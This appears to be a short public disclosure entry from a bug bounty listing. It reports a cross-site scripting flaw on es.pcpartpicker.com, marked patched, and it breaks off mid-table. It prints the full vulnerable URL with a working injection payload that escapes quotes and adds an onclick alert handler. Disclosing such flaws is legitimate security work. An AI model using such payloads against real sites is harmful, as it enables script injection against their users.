es.pcpartpicker.com XSS vulnerability

Vulnerable URL: https://es.pcpartpicker.com/qapi/partlist/choices/?cc=us=/-///%27/%22///%20/oNcliCk=alert/OPENBUGBOUNTY/%20/ Details: Description| Value ---|--- Patched:| Yes, at Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| Unknown / Not calculated VIP website...